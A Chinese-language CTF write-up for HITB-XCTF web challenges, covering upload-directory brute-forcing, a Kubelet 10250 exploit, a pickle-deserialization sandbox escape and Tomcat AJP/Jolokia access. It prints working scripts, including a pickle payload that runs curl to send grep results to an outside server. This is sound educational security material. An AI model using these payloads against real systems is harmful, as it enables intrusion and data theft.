HITB-XCTF Web Write Up

before start

这次ctf是半路上车,本着轻松娱乐的心态,撸了4道题。感觉这次web题目主要考察知识点的积累,都是比较前沿的姿势,找准题目对应的知识点,剩下的就比较简单了。

upload

这道题目的知识点在于php函数在windows底层实现的一些特性,导致目录可猜解。

参考文章:网站漏洞——文件判断函数的安全风险(实战篇)

回到题目,首先是一个上传页面,但是上传之后只返回了文件名,直接访问是访问不到的。源代码中有提示

Where Path~?
<!--pic.php?filename=default.jpg-->

访问http://47.90.97.18:9999/pic.php?filename=default.jpg,返回了图片的长度和宽度,正好符合了上文中使用getimagesize的利用条件,可以利用pic.php猜解上传目录。

猜解目录

import requests
import string
import time

path = ''
while True:
    for ch in (string.ascii_lowercase + string.digits):
        url = 'http://47.90.97.18:9999/pic.php?filename=../%s</1523710397.jpg' % (path+ch)
        r = requests.get(url, headers=headers)
        #print(url, r.text)
        if 'width' in r.text:
            path += ch
            print(url)
            break
        time.sleep(1)   

这里坑是真不少。。。首先default.jpg在好多个目录都有,只能自己先上传一个真正的图片。其次就是服务器对py脚本极不友好。。。。磕磕绊绊得到目录为87194f13726af7cee27ba2cfe97b60df

上传绕过

题目对后缀名进行了检测,可以使用l.php::$DATA这种方式来绕过。另外要注意的一点是,上传的文件要传入getimagesize(),需要加上GIF89a文件头。

mark

过滤掉了一些函数,使用print_r(glob("../*"));列目录,show_source('../flag.php');读文件。

成功得到flag:HITB{e5f476c1e4c6dc66278db95f0b5a228a}

Baby Baby

提示是这样的This is a pentest challenge, open your mind,扫了一下端口,发现10250端口比较可疑,查了一下,找到了Ricterz大佬的博客Security Issues of Kubelet HTTP(s) Server

具体的利用方式文中写的很详细,直接开干。

首先访问https://47.75.146.42:10250/runningpods/确认漏洞存在。

控制容器执行任意命令需要namespace、pod_name 和 container_name三个参数,经过寻找,发现flag在web-test容器中。

mark

Python's revenge

题目说的很明白,就是python沙盒逃逸,看了一下代码,和之前的强网杯的代码很相似,明显是利用pickle反序列化。不过再利用之前,需要解决几个小问题。

触发点

既然是反序列化,那就直接找loads函数吧。

def loads(strs):
    reload(pickle)
    files = StringIO(strs)
    unpkler = pickle.Unpickler(files)
    unpkler.dispatch[pickle.REDUCE] = _hook_call(
        unpkler.dispatch[pickle.REDUCE])
    return unpkler.load()

那么在哪里调用了?只有getlocation函数。

def getlocation():
    cookie = request.cookies.get('location')
    if not cookie:
        return ''
    (digest, location) = cookie.split("!")
    if not safe_str_cmp(calc_digest(location, cookie_secret), digest):
        flash("Hey! This is not a valid cookie! Leave me alone.")
        return False
    location = loads(b64d(location))
    return location

从cookie中获取location(形如front!back),经过一个验证之后,将!后面的数据进行了反序列化。

继续找调用getlocation的函数,有两处,home()reminder(),我们来看reminder()

@app.route('/reminder', methods=['POST', 'GET'])
def reminder():
    if request.method == 'POST':
        location = request.form["reminder"]
        if location == '':
            flash("Message cleared, tell us when you have found more brains.")
        else:
            flash("We will remember where you find your brains.")
        location = b64e(pickle.dumps(location))
        cookie = make_cookie(location, cookie_secret) #生成cookie
        response = redirect(url_for('home'))
        response.set_cookie('location', cookie) #设置cookie
        return response
    location = getlocation()
    if location == False:
        return redirect(url_for("clear"))
    return render_template('reminder.html')

我们可以通过post方式把我们的payload设置到cookie中,然后通过get访问来触发反序列化。

获取cookie_secret

if not os.path.exists('.secret'):
    with open(".secret", "w") as f:
        secret = ''.join(random.choice(string.ascii_letters + string.digits)
                         for x in range(4))
        f.write(secret)
with open(".secret", "r") as f:
    cookie_secret = f.read().strip()

可以看到cookie_secret是一个4位的随机字符串,很容易就可以爆破出来。先来看一下如何生成cookie

def make_cookie(location, secret):
    return "%s!%s" % (calc_digest(location, secret), location)

def calc_digest(location, secret):
    return sha256("%s%s" % (location, secret)).hexdigest()

这个location是可控的,即在前面的remind()中将我们的输入序列化之后base64encode。可以很容易的写出爆破脚本:

import string
location = 'VjEKcDAKLg=='
chars = string.ascii_letters + string.digits
for a in chars:
    for b in chars:
        for c in chars:
            for d in chars:
                secret = a + b + c + d
                if calc_digest(location,secret) == '835c8b396d3f58bd214b877fafac1a3ab71e9f0ca775fb3681f1abf46d4e70cd':
                    print secret
                    exit(0)
#secret is hitb

location和hash值都是输入任意数据从cookie中获得的。

沙盒逃逸

题目准备了一个超大的黑名单,但还是有漏网之鱼,这里使用了platform模块,利用脚本如下:

import base64
import pickle
from hashlib import sha256

def calc_digest(location, secret):
        return sha256("%s%s" % (location, secret)).hexdigest()

def make_cookie(location, secret):
        return "%s!%s" % (calc_digest(location, secret), location)

import platform
class Exp(object):
    def __reduce__(self):
        return (platform.popen, ('curl -s http://seaii-blog.com:8000/?`grep "HITB{" -r / 2>/dev/null`',))

e = Exp()
location = base64.b64encode(pickle.dumps(e))
#pickle.loads(pickle.dumps(e))
print make_cookie(location, 'hitb')

将生成好的cookie替换,访问/reminder即可触发。这里bash反弹shell没成功,用了个简单粗暴的方法。。。

Baby Nya

这题提示也比较明显the tomcat deployed jolokia.war,仍然是Ricterz大佬的文章,跟上篇挨着。。。

Exploiting Jolokia Agent with Java EE Servers

一开始访问80端口什么也没有,所以扫了一下端口,发现了8009端口。

搜到了这样一篇文章Exploiting Apache Tomcat through port 8009 using the Apache JServ Protocol

根据文章的一通操作,访问本地127.0.0.1就可以看到远程的tomcat页面了。

接下来按照Ricterz文中的Tomcat with Jolokia部分操作就可以了,flag就在管理页面。

php lover

时间短没来得及看,之后补上吧。

标签: write up
评论列表
  1. jianghuxia

    老哥,可以加加你QQ吗,有个关于AES的ecb脚本想问下你

添加新评论